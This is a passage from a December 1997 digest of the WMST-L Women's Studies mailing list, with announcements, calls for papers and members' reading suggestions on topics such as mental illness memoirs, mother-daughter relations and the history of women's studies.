conversation going on on the list. Feminist bookstores are indeed a great resource, and really do need your support. We publish a catalog that lists the names, addresses (email and URL) and phone numbers of all the feminist bookstores in the U.S. and Canada -- and includes many titles from feminist presses -- which is available at no charge at your local feminist bookstore. It is also on the web at http:\\\\www.FemBookNet.com. Lisa McGowan Feminist Bookstore News P.O. Box 882554 San Francisco, CA 94188 tel: (415) 642-9994 fax (415) 642-9995 email: Lisa@FemBkNews.com ========================================================================= Date: Sat, 13 Dec 1997 07:27:52 +1000 Reply-To: Women's Studies List Sender: Women's Studies List From: Laurel Anne Guymer Subject: AUSTRALIAN WOMEN'S RESEARCH CENTRE Comments: To: Diane Lowe Fowlkes In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am thrilled to read about new web sites for women's studies every day Try our site too AUSTRALIAN WOMEN'S RESEARCH CENTRE Laurel Guymer capri@deakin.edu.au ph 0352 272590 fax 035 2272018 http://www2.deakin.edu.au/aworc/ ========================================================================= Date: Fri, 12 Dec 1997 17:08:05 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: women's studies program websites MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT I'm very pleased that Diane Fowlkes announced the new website for Georgia State U's Women's Studies Institute. I hope other people will also announce their program's new site on WMST-L. However, please do not write to WMST-L simply to ask people to look at your no-longer-new site unless it contains resources relevant to a specific query. There are more than 350 such sites that I know of....Just imagine what your emailbox would look like if, say, half the sites decided to send announcements of their existence to WMST-L. If you want to see what the websites of other Women's Studies programs look like, or whether a site exists for a particular program, take a look at my Women's Studies Programs, Departments, and Research Center page (http://www.umbc.edu/wmst/programs.html ). It lists more than 350 links from all over the world. And, of course, if your program/department/research center has a web site that I've missed, please let me know PRIVATELY. I can be reached at korenman@umbc2.umbc.edu . Many thanks. Joan ***************************************************************************** * Joan Korenman korenman@umbc2.umbc.edu * * U. of Md. Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Fri, 12 Dec 1997 16:34:44 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Emily Toth Subject: Mary Wilson Carpenter Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Does anyone have an e-mail address for Mary Wilson Carpenter, who teaches English at a university in eastern Canada? Please respond privately, and thanks in advance. Emily Toth Professor of English & Women's Studies Allen Hall Louisiana State University Baton Rouge, LA 70803 e-mail: etoth@UNIX1.sncc.LSU.edu office phone: 504-388-3152 English Dept. fax: 504-388-4129 THE BOOK TO BUY: MS. MENTOR'S IMPECCABLE ADVICE FOR WOMEN IN ACADEMIA by Emily Toth. University of Pennsylvania Press, 1-800-445-9880. View it on this Web site: http://www.higheredjobs.com/test2/ ========================================================================= Date: Fri, 12 Dec 1997 18:32:30 -0600 Reply-To: Nancy Ann Nield Sender: Women's Studies List From: Nancy Ann Nield Subject: CFP: ""Invisible Men"": Proposed panel for 1998 ASA (1/15/98; 11/19/98) Comments: To: h-amstdy@h-net.msu.edu Comments: cc: h-film@h-net.msu.edu, h-women@h-net.msu.edu, spoon-announcements@jefferson.village.virginia.edu, h-grad@h-net.msu.edu, cultstud-l@nosferatu.cas.usf.edu MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII C A L L F O R P A P E R S Proposed panel for 1998 American Studies Association: Invisible Men: Interrogations of Ethnicity and Embodiment in American Postwar Visual Culture Despite some scholarly attention to the impact of race and gender on the development and dissemination of visual and material culture in the United States, its recent histories rarely interrogate the way in which ethnicity affects all facets of the creation and reception of visual discourse in American culture and society. Our panel seeks to render visible the particular ethnic identities of the producers and consumers of American visual culture and criticism from the post-WWII period to the present moment. We wish to excavate and render problematic the manner in which (re)markings of a white, Anglo-Saxon, and Protestant identity/body as transparent and normative obscure or render invisible real relations of power and domination operative in American institutional, intellectual and social discourses. What alternative histories of American visual culture emerge when we attend to ethnicity as a salient category of analysis? How do criticism and pedagogy which posit white middle class heterosexual masculinity as a privileged locus of cultural production construct American national historical narratives and myths which silence and censor competing creative identities which acquire definition within the context of ethnicity? We invite papers which explore how the production and consumption of forms of American visual and material culture (including, but not limited to painting, sculpture, prints, film, photography, and television) from 1945 to the present bear on the embodied--and culturally constructed--ethnic identities of their creators and consumers. Papers addressing intersections between ethnicity and gender, race, class, and their articulation as tensions between national and international, figuration and abstraction, visual and discursive, memory and experience, tradition and innovation, citizen/resident and exile, the neighborhood and the city, are particularly welcomed. Some questions which panelists may consider but to which they may no means limit themselves include: --what are the roles of institutions and patronage in establishing and affirming ethnic identit(ies) in the United States in the period under consideration? --what is the status/role of the immigrant and the exile in the history of American visual culture? --how do we locate inscribed and performed signifiers of ethnicity on the body, in the home and studio, and within the production of American visual artists? --what relationships and tensions obtain between gender, sexuality, race and ethnicity in American visual production? --does the affirming, or identification of ethnicity necessarily render anxious or place pressure on the notion of an ""American"" artist? --how has the American and international press, newspapers, periodicals, magazines, TV, film inscribed and marketed American visual producers for different audiences? --do certain ethnically marked artists produce different, or differently inflected art for varying readerships or communities? Please send a CV and one page abstract by January 10, 1998 to: Andrea Pappas Department of Art and Art History Santa Clara University 500 El Camino Real Santa Clara, CA 95053 pappas@hooked.net Nancy Nield Department of Art History University of Chicago 5540 S. Greenwood Ave. Chicago, IL 60637 nanield@midway.uchicago.edu Email submissions are welcome. ========================================================================= Date: Sat, 13 Dec 1997 11:03:49 -0500 Reply-To: Joan Korenman Sender: Women's Studies List From: Joan Korenman Subject: is ABIGAILS-L alive? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi. I've been updating my Gender-Related Electronic Forums listing (http://www.umbc.edu/wmst/forums.html), and purely by accident I've discovered that the feminist activist list ABIGAILS-L no longer exists at the address I have for it. Indeed, the netcom.com site now runs a different software, and the site claims not to have heard of ABIGAILS-L. Does the list still exist? If so, I'd appreciate updated information. If it has officially died, I'd also appreciate confirmation of that. Please reply privately. I'll make whatever info I get available at the Gender-Related Electronic Forums site, which includes descriptions of more than 300 women- and gender-related e-mail lists and which also lists the changes made in the past month. Also, if anyone knows of other women-related activist lists that I don't already include on my Activist sub-section (http://www.umbc.edu/wmst/f_actv.html), I'd be most grateful if you'd let me know. Though I'm writing from my korenman@umbc.edu address, you can reply either to that address or the more usual korenman@umbc2.umbc.edu . Many thanks. Joan ***************************************************************************** * Joan Korenman korenman@umbc.edu * * University of Maryland, Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Sat, 13 Dec 1997 01:58:28 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Batya Weinbaum Subject: midivery As to the request a while ago about birthing and midwivery, Robbie Kahn's Bearing Meaning came out last year from U of Illinois Press and won a Jesse Bernard award. This would offer a review of the literature you need. Also see Mary O'Brien's Politics of Reproduction. She was a Marxist midwife who wrote a very feminist class analysis, discussed in Robbie's book. Also my Islands of Women and Amazons: Representations and Realities has a chapter on birthing with a Maya midwife that would include references you need. it is UMI Feb 1996, and forthcoming from University of Texas Press. Batya Weinbaum, VT batyawein@aol.com ========================================================================= Date: Sat, 13 Dec 1997 02:02:53 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Batya Weinbaum Subject: FEMSPEC meeting, MLA To all of you who answered the all about the new journal, here is an uptodate posting, FYI. Also, if you want to meet in Toronto, you can leave e a message at the Bond Place Hotel, 416-362-6061. If you leave a message by late the night of the 27th, I will call you about dinner on the 28th. I can't say where as of yet. You could also come to the organizational meeting of the sf/fantasy/utopian section which is scheduled for Monday afternoon, and is in the program in the 3:45 slot. Cheers. Batya Weinbaum, VT batyawein@aol.com Announcing FEMSPEC, an interdisciplinary feminist journal dedicated to critical and creative works in the realms of SF, fantasy, magical realism, and other super-natural genres. If you are interested in speculating, theorizing, creating and questioning gender across the boundaries, we are recruiting editors and readers as well as manuscripts. We are emphasizing interdisciplinary approaches, and encourage work on teaching as well as literary and cultural criticism and creative material. We hope an approach to pedagogy will bring in work from a wider area of disciplines. We are interested in a variety of feminist approaches, and aim to be inclusive of ethnic and cultural diversity in an internationalist perspective. Please contact Batya Weinbaum, POB 69, East Montpelier, VT 05651-0069, batyawein@aol.com, 802-472-8527; Robin A. Reid, Department of Language and Literature, East Texas State University, Commerce, TX, 75429. Articles and abstracts submitted in triplicate by March 1. Creative writing is accepted: short fiction, 15 pages or less; poetry, 3 poems per submission. Art and book reviews of 1000 words or less also welcome. For those interested in reviewing or being on the editorial or advisory boards, please also send vitas and areas of interest. We are at a formative stage, and are seeking a journal to host our first issue so that we have a concrete product with documented response to show publishers and institutions to solicit support. The impetus came from the collectively perceived lack of attention to these works in feminist journals and audiences, the lack of consistently evolving developed levels of feminism in sf criticism, and the inadequacy of mr publishing outlets in the US. The response from initial postings has been large, international, appreciative and indicative of a sustainable community of readers and contributors. Possible upcoming articles and stories include: gender in Star Trek; women's ghost stories of the nineteenth century; constructing feminism through folklore; contemporary women's rewriting of folk and fairy tales generally classified as fantasy; Marion Zimmer Bradley's Lady of Avalon; Octavia Butler; Marge Piercy's Body of Glass; ecofeminism and menstrual reclamation; afrocentric womanist sf; facing nightmares of previous victimization; paranormal possibilities in women's sf; trickster aesthetic in women's ethnic and world literature. ========================================================================= Date: Sat, 13 Dec 1997 14:21:22 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Marcia Fulvi Subject: Re: mother daughter relations In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I missed the original discussion, but I'd like to recommend Her Face in the Mirror: Jewish Women on Mothers and Daughters, Faye Moskowitz, ed. Beacon Press, 1994. It's an excellent anthology. On Fri, 12 Dec 1997, Dina Haruvi wrote: > Hello, > > I remember a long discussion about mother daughter relations with some > reading suggestions (a biliography) > I tried the index file of wmst but could not find such a subject.. > can you help? > > thanks > dina > ========================================================================= Date: Sat, 13 Dec 1997 14:33:13 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""C. Horwitz"" Subject: Re: mother daughter relations In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII As a feminist and the mother of a 13 year old girl I have been having dreams about her as a sexual being. Most of them involve a man who is not kind or doesn't use protection and in my dream I end up threatening castration. What my dreams have helped me realize is that I need to talk to my daughter about sex in an uncensored manner - not just the ""this is your clitoris, this is your vagina"" which I have done, but more about my own experiences discovering my sexuality. -- If you could say ANYTHING to a young woman about sex - if you could be totally uncensored, what would you say? Is anyone familiar with the literature on this subject? Please respond privately unless you believe it would benefit other readers. Carol Horwitz chorwitz@blue.weeg.uiowa.edu ========================================================================= Date: Sat, 13 Dec 1997 17:46:25 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: ABIGAILS-L is alive MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, again. I want to thank everyone who responded to my query. It turns out that ABIGAILS-L **is** alive, but it's having some problems with the majordomo program that it runs on (when I asked that majordomo for a list of the lists it ran, it gave me a long list that did NOT include ABIGAILS-L). While I'm passing along list info, I might add that I was told that Irene Stuber's two lists, CATTS-CLAW and WOAH-HERSTORY are temporarily suspended while Irene writes a book. I haven't yet changed Gender-Related Electronic Forums to reflect this, since I've been trying to get more info first. But I HAVE been making some other changes to Gender-Related Electronic Forums, including adding a bunch of lists in the last few days (most recently ES-MAMAS, also known as Eurosapphic Mamas, a list about lesbian motherhood in Europe). I've also added a new sub-section, the 16th, to deal with age-related lists for women and girls. The overall URL for Gender-Related Electronic Forums is http://www.umbc.edu/wmst/forums.html . Again, many thanks. Joan ***************************************************************************** * Joan Korenman korenman@umbc.edu * * University of Maryland, Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Sat, 13 Dec 1997 16:58:46 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Georgia NeSmith, PhD"" Subject: autobios of women w/""mental disorders"" MIME-version: 1.0 Regarding >>recommendations of good books/articles, preferably > autobiographical, by women/feminists/lesbians on experience with clinical > depression, bi-polar disorder, borderline personality, schizophrenia, > obsession-compulsion, anxiety/panic, etc Kate Millet has an autobiography about her experiences with bi-polar disorder, with a title I can't remember right now, something with ""Journey"" in it. (Millet of _Sexual Politics_ fame) Georgia NeSmith Freelance writer, editor, writing coach Rochester NY ========================================================================= Date: Sat, 13 Dec 1997 20:03:48 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Becca Cragin Subject: Re: Women's bookstores In-Reply-To: <199712112256.RAA12386@graf.cc.emory.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII An obvious but important point is that while some small bookstores cannot buy back the books they sell to your students, other stores in the area may be able to. A few years ago when I began ordering their books at Charis Books here in Atlanta, some students expressed resistance because they couldn't sell them back. A little digging soon revealed a store right on the edge of the campus that would take them back, and at much better prices than the university bookstore. I don't compel my students to do any kind of outside-of-class activities (other than screening films we'll be discussing), so I don't make them actually go to Charis -- Charis is on campus one day at the beginning of the semester selling books. As someone else has already pointed out, ordering books from one source does not compel students to purchase their books there -- they are free to go elsewhere. However, I do explain that I am ordering from Charis, when they will be on campus, and why I feel it is important to order through them. Their resistance to the idea melts away, though it still takes a lot of persuading to get other women's studies instructors to join the program, sometimes. 'Becca Cragin Institute for Women's Studies Emory University Atlanta, GA ========================================================================= Date: Sat, 13 Dec 1997 20:28:26 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Lucinda DeWitt Subject: Re: autobios of women w/""mental disorders"" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Georgia NeSmith, PhD wrote: > > Kate Millet has an autobiography about her experiences with bi-polar disorder, > with a title I can't remember right now, something with ""Journey"" in it. > (Millet of _Sexual Politics_ fame) > Kate Millet's book is _The Loony Bin Trip_. It's a compelling, though sometimes frightening, account of her experiences. Lucinda DeWitt -- ======================================================================= Lucinda A. DeWitt, Ph.D. | Remember how they taught you | How much of it was fear Moorhead, MN 56560 | Refuse to hand it down | The legacy stops here. | Internet: dewitt@rrnet.com | -- Melissa Etheridge | ""Silent Legacy"" ======================================================================= ========================================================================= Date: Sun, 14 Dec 1997 00:13:20 -0600 Reply-To: Nancy Ann Nield Sender: Women's Studies List From: Nancy Ann Nield Subject: Re: autobios of women w/""mental disorders"" In-Reply-To: <01IR4S8T1LIEAIBWWL@ritvax.isc.rit.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > Regarding >>recommendations of good books/articles, preferably > > autobiographical, by women/feminists/lesbians on experience with clinical > > depression, bi-polar disorder, borderline personality, schizophrenia, > > obsession-compulsion, anxiety/panic, etc I don't think I read the beginning of this thread, so forgive me if someone else has already mentioned these books: _Girl, Interrupted_ (1993) by Susan Kaysen, an autobiographical account ofKaysen's institutionalization for borderline personality disorder. _The Beast_ (1996) by Tracy Thompson--account of the author's battle with severe chronic depression. Of course---_The Bell Jar_ by Sylvia Plath. _Black Sun_ (_Soleil Noir_, c1987), a rather dense treatment of depression by Frenchfeminist psychoanalyst Julia Kristeva. _The Broken Mirror_- (1997)-first book length account for a mass audience of body dysmorphic disorder, written by a woman clinical psychologist. Anne Sexton's poetry, including the short collection, _Poems for Doctory Y_. Although you don't mention narratives of addiction, I'll throw in a mention of _Drinking: A Love Story_ (1997), the female author of which escapes me as well as the '70's classic, _I'm Dancing as Fast as I Can._ Finally, the most well-represted ""mental disorders"" in recent fiction and non-fiction remains anorexia, with bulemia following a cose second. For a wonderful bibliography, consult Susan Bordo's _Unbearable Weight: Feminism, Western Culture, and the Body_ (1994?). And of the course the standards, _Sybil_ and _I Never Promised You a Rose Garden_. Films: _Angel at My Table_ (1995?), directed by Jane Campion, I believe--senstive account of New Zealand author Jane Frame's (mis)diagnosis with schizophrenia in the early '60's. _Agnes of God_(mid 1980's) --based on the play of the same name; starring Meg Tilly and Jane Fonda; the story of a reporter who investigates the story of nun who claimed to have been impregnanted by Christ _Breaking the Waves_--winner of 1996 Cannes Film Festival; visually stunning story of the fine line between divine inspiration, love, and dementia set in the north of Scotland in the 1970's. These listings are all off the top of my head. I'd be happy to post full bibliographic info if enough people are interested. Nancy Nield University of Chicago nanield@midway.uchicago.edu ========================================================================= Date: Sun, 14 Dec 1997 08:28:51 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: mental/emotional ""disorders"" in women Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Fomr the Women's Presses Library Project: Beyond Bedlam: Contemporary Women Psychiatric Survivors Speak Out Jeannie Grobe, editor Third Side Press 1995 1-879427-23-0 C $30.95 256pp. 1995 1-879427-22-2 P $15.95 256pp. Call Me Crazy: Stories from the Mad Movement Irit Shimrat Press Gang Publishers Shimrat's escape from psychiatric incarceration and subsequent involvement in the psychiatric survivors' movement (a.k.a the mad movement) is documented here 1997 0-88974-070-4 P $ 224pp. Sunnybrook: A True Story with Lies Persimmon Blackbridge Press Gang Publishers One cover-up follows another as Diane hides her learning disabilities from her new employer and her girlfriend. And when she meets Shirley-Butch at the bar, her lesbian identity and her psychiatric history become irrevocably intertwined. 1996 0-88974-068-2 C $21.95 96pp. 1997 0-88974-060-7 P $15.95 Prozac Highway, a novel Persimmon Blackbridge Press Gang 1997 0-88974-078-X P $14.95(US) very good novel about prozac, the internet -- it's a pretty unusual book Running Fiercely Toward A High Thin Sound: A Novel Judith Katz Firebrand Books Contemporary Jewish lesbian magical realism. Has a character in it who is emotionally disturbed. 1992 1-56341-020-6 C $20.95 192pp. 1992 1-56341-019-2 P $9.95 192pp. >I would also appreciate titles on these subjects. I am currently >organizing two initiatives for which I need bibliographies. The first is >the development of a resource centre at our mental health rights coaltion >and the second is the development of a bibliography for a new list for >Women Who (experience mood swings, fear, voices and visions). The list is >called Madgrrls and can be found under the Madnation site at: > >http://www.madnation.org/madness.htm > >I'm looking for biography, autobiography, fiction, non-fiction, poetry. > >Thanks so much for your help. You can e-mail me privately, if you wish, at: > >sasha@worldchat.com > >Sasha McInnes >Hamilton, Ontario >> WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Sun, 14 Dec 1997 13:50:35 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Catherine Hopwood Subject: Re: autobios of women w/""mental disorders"" In-Reply-To: <01IR4S8T1LIEAIBWWL@ritvax.isc.rit.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sorry, I must have been asleep for the original post; here's the Millett reference plus a couple more. Cardinal, M. (1983) The Words to Say It. Cambridge, Mass.: VanVactor & Goodheart. Millett, Kate [1990] The Loony-Bin Trip. New York: Simon and Schuster. Supeene, S.L. (1990) As for the Sky, Falling. Toronto: Second Story Press. Cheers, Catherine Hopwood Box 269 McMaster University, Hamilton, Ontario, L8S 1C0. telephone: 905-627-0393 e-mail: chopwood@hwcn.org On Sat, 13 Dec 1997, Georgia NeSmith, PhD wrote: > Regarding >>recommendations of good books/articles, preferably > > autobiographical, by women/feminists/lesbians on experience with clinical > > depression, bi-polar disorder, borderline personality, schizophrenia, > > obsession-compulsion, anxiety/panic, etc > > Kate Millet has an autobiography about her experiences with bi-polar disorder, > with a title I can't remember right now, something with ""Journey"" in it. > (Millet of _Sexual Politics_ fame) > > Georgia NeSmith > Freelance writer, editor, writing coach > Rochester NY > ========================================================================= Date: Sun, 14 Dec 1997 17:28:03 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Rhoda Unger Subject: A couple of queries MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII I am trying to finish up something I am working on and find myself with two questions (one much easier than the other) that I hope members of this very helpful list can help me with. 1. What year was NOW founded? 2. I want to cite some of Mary Payer's early work in the philosophy of science on the objectivity of scientific language and how it makes truth claims hard to challenge, however, my only reference is a paper she gave in 1977 at one of the Barnard conferences on feminism and scholarship. I seem to remember she published a book or article sometime after this, but cannot find anything about it in my notes. Does anyone know about her later work in this area? Thanks and please reply privately unless you would like to discuss Payer's work. Rhoda Unger ungerr@alpha.montclair.edu ========================================================================= Date: Sun, 14 Dec 1997 17:57:33 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Ruby Rohrlich Subject: Re: A couple of queries Comments: To: Rhoda Unger In-Reply-To: <01IR67CMGGEW8Y5ZM1@alpha.montclair.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I believe NOW was founded in 1966. Regards, Rhoda, and best wishes for the New Year. Ruby Rohrlich rohrlich@gwis2.circ.gwu.edu ========================================================================= Date: Sun, 14 Dec 1997 17:11:31 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: kearney Subject: Query: History of Women's Studies MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm looking for writing on the emergence of women's studies courses, programs, and departments in academia (U.S. specifically, but other countries would be of interest as well). In addition, if anyone knows of any published writing on the move to change ""women's studies"" to ""gender studies,"" that would be helpful as well. Thanks, and happy holidays! Mary Kearney Univ. of Southern California kearney@usc.edu ========================================================================= Date: Sun, 14 Dec 1997 20:40:24 EST Reply-To: Women's Studies List Sender: Women's Studies List From: FLORENCH Organization: AOL (http://www.aol.com) Subject: Re: Query: History of Women's Studies Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit WOMEN'S STUDIES QUARTERLY has been in business for 26 years. Its pages contain the history of women's studies. If you don't have access to the first 20 years, then buy the 25th anniversary issue, which came out this past summer, and which is orderable from The Feminist Press (Fax: 212-650-8966 for direct ordering). This issue selects from the 25 years, and includes a generous portion of early reports from programs all over the country. Two other suggestions: my own out of print book, MYTHS OF EDUCATION: Selected Essays, 1965-1984 (Indiana U.P.) may be available in your library. My essays over those 20 years provide a kind of history. I also wrote a report for the Department of Education in 1977 called SEVEN YEARS LATER. They printed 10,000 copies which were distributed free. I have a few of them still and can zerox one of them for you if you would like to pay for that service. But you may be able to find it in a library under my name. Finally, if you have access to a good library, there was a series of monographs--FEMALE STUDIES 1-10, published between 1970 and 1975 that also contain what are now ""documents."" There were also two Ford Foundation reports: one by Kate Stimpson, the other by Beverly Guy-Sheftall. And of course, way back in the early 1980s there was a SIGNS piece by Marilyn Boxer. I'm sure there are other sources, but this should do for a start. And I should add: I am delighted that you are interested. In another year, we may see a book by Marilyn Boxer now in press. Cheers. Florence Howe (florench@aol.com). ========================================================================= Date: Sun, 14 Dec 1997 19:43:00 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Phyllis Holman Weisbard Subject: Re: history of women's studies There are three reports that provide overviews of the history of women's studies: Howe, Florence. SEVEN YEARS LATER: WOMEN'S STUDIES PROGRAMS IN 1976: A REPORT OF THE NATIONAL ADVISORY COUNCIL ON WOMEN'S EDUCATIONAL PROGRAMS. [Washington] The Council, 1977. 104p. In addition to being catalogued in libraries as a book, it can also be found as a government pub. in gov. docs. collections (Y3.Ed 8/6: 2 St 9/976) Stimpson, Catharine. WOMEN'S STUDIES IN THE UNITED STATES. NY: Ford Foundation, 1986. x, 77p. Beverly Guy-Sheftall. WOMEN'S STUDIES: A RETROSPECTIVE: A REPORT TO THE FORD FOUNDATION. NY: Ford, 1995. xiv, 45p. Phyllis Holman Weisbard, pweis@macc.wisc.edu ************************************************************************ Phyllis Holman Weisbard University of Wisconsin System Women's Studies Librarian Room 430 Memorial Library, 728 State Street, Madison, WI 53706 http://www.library.wisc.edu/libraries/WomensStudies/ pweis@doit.wisc.edu ************************************************************************ ========================================================================= Date: Sun, 14 Dec 1997 20:58:26 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: Re: Query: History of Women's Studies MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT > In addition, if anyone knows of any published writing on the move to > change ""women's studies"" to ""gender studies,"" that would be helpful as > well. I'm not sure about published work, but I do know that there have been several discussions on WMST-L of the pros and cons of ""women's studies"" vs. ""gender studies"". Two rounds of the discussion have been saved as WMST-L files. To get them, send the following two-line message to LISTSERV@UMDD.UMD.EDU: GET WOMEN_VS GENDER GET WOMEN_VS GENDER2 Note that there's an underscore ( _ ) between WOMEN and VS, and that VS is vs (as in versus). Joan Korenman ***************************************************************************** * Joan Korenman korenman@umbc2.umbc.edu * * U. of Md. Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Sun, 14 Dec 1997 20:41:01 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: Gender Inclusive Language! MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The following message was originally sent privately to Beatrice, who suggested that I submit it to the entire list. (Thanks for affirmation, Beatrice, and for the suggestion.) Peace, Jacqueline Haessly jacpeace@acs.stritch.edu Image Peace! ---------- Forwarded message ---------- Date: Fri, 12 Dec 1997 21:15:42 -0500 From: beatricekachuck To: Jacqueline Haessly Subject: Re: gender-neutral language 'Gender-inclusive' is a great way to put it, Jacqueline! the term to advance, advocate. It becomes part of the project to acknowledge that gender is in every aspect of reality. Putting it the way you do identifies the risk of 'gender neutral' to obscure. Why don't you post it to the list. - beatrice At 08:32 PM 12/10/97 -0600, you wrote: >Hi Beatrice, Thank you for your clarifying comments about gender-neutral >language. I have long been an advocate for gender inclusive language, and >encourage its use however I can. I also use it in all my writings. I >want to look more carefully at my own work to discern whether such >language patterns have tended to obscure, at least in my own work. I tend >to think not. Which suggests that use of gender-inclusive language is >more proactive than gender-neutral, and that would address this issue of >obscuring injustice and inequality. Any thoughts? This is an important >topic to me, because of the work I do around inclusive/exclusive language >and behavior patterns. > >Peace, Jacqueline Haessly jacpeace@acs.stritch.edu Image Peace! > > ========================================================================= Date: Sun, 14 Dec 1997 20:50:12 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: Re: mother daughter relations In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII __Mothering Teens__, edited by Miriam Kaukmann, and published by Gynergy Press, has some excellent chapters on addressing issues of mother/daughter, and human sexuality, Book is available from GP, or in USA, one can order it for $16.95, plus $3.00 postage and handling, from Peace Talk Publications 2437 N. Grant Blvd. Milwaukee, WI 5321O-2941 Allow four weeks for delivery. Another excellent book on m/d relations, as well as mother/son relations, is __Feminist Parenting__, and the editor skips my mind just now. Peace, Jacqueline Haessly jacpeace@acs.stritch.edu Image Peace! ========================================================================= Date: Mon, 15 Dec 1997 08:08:30 EST Reply-To: Women's Studies List Sender: Women's Studies List From: Jenny Lloyd Subject: Re: WMST L: Re: autobios of women w/""mental disorders"" Jane Campion's film about Janet Frame is based on Janet Frame's ""Autobiograph y"", which I recommend highly. Jenny Lloyd jlloyd@acspr1.acs.brockport.edu ========================================================================= Date: Mon, 15 Dec 1997 07:27:21 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Sheryl McInnes Subject: g/l history Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Seasons greetings everyone, I am posting this for a friend who does not have access to the list. He is looking for texts to use in a course on the history of African-American gay men and/or lesbians in the 19th or early 20th century. Suggestions anyone? Sheryl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ""If you act like there is no possibility for change, you guarantee there will be no change."" Noam Chomsky Sheryl McInnes University of Alberta smcinnes@gpu.srv.ualberta.ca -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ========================================================================= Date: Mon, 15 Dec 1997 09:27:40 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Linda Pershing Subject: Seeking suggestions for a novel Comments: To: WS Sunya Comments: cc: Rosemary Hennessy MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII I am seeking ideas for novels written by women who live outside the U.S. and who address issues of race, ethnicity, class, and/or sexual identity--in addition to gender--in their work. I hope to assign such a novel in an undergraduate course about global perspectives on women. My hope is to provide students with more multi-dimensional understandings of women's lived experiences than would be provided by other types of textbooks. If you have suggestions or have used novels of this type in your courses, I'd appreciate hearing from you. Please respond privately to LLP@cnsvax.albany.edu Thank you, Linda Pershing Department of Women's Studies Email: LLP@cnsvax.albany.edu Social Sciences Bldg. 341 (518) 442-3979 (office) State University of New York (518) 442-4936 (fax) Albany, NY 12222 ========================================================================= Date: Mon, 15 Dec 1997 10:38:47 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""DRA. Pattatucci"" Subject: Student research topic suggestion MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: 7bit In a recent interview, Ruth Brown, often referred to as a contemporary ""mother of the blues"", stated that the blues are more than just an art form. From an historical standpoint, the blues have provided an avenue for women to express anger within a social framework that defines women's anger as mental illness, and a forum for men to express a range and depth of emotions that otherwise would be considered ""unmasculine"". In this respect, blues artists could be considered gender outlaws. (From the context of the interview, it was clear that she was NOT referring to contempory rock/blues fusion artists, but rather was referring to people such as herself, Koko Taylor, Big Mama Thornton, Bobby ""Blue"" Bland, B.B. King, Albert Collins, Buddy Guy, Albert King, Otis Clay, Muddy Waters, Little Milton, Clarence ""Gait-Mouth"" Brown, etc.). I know that students often 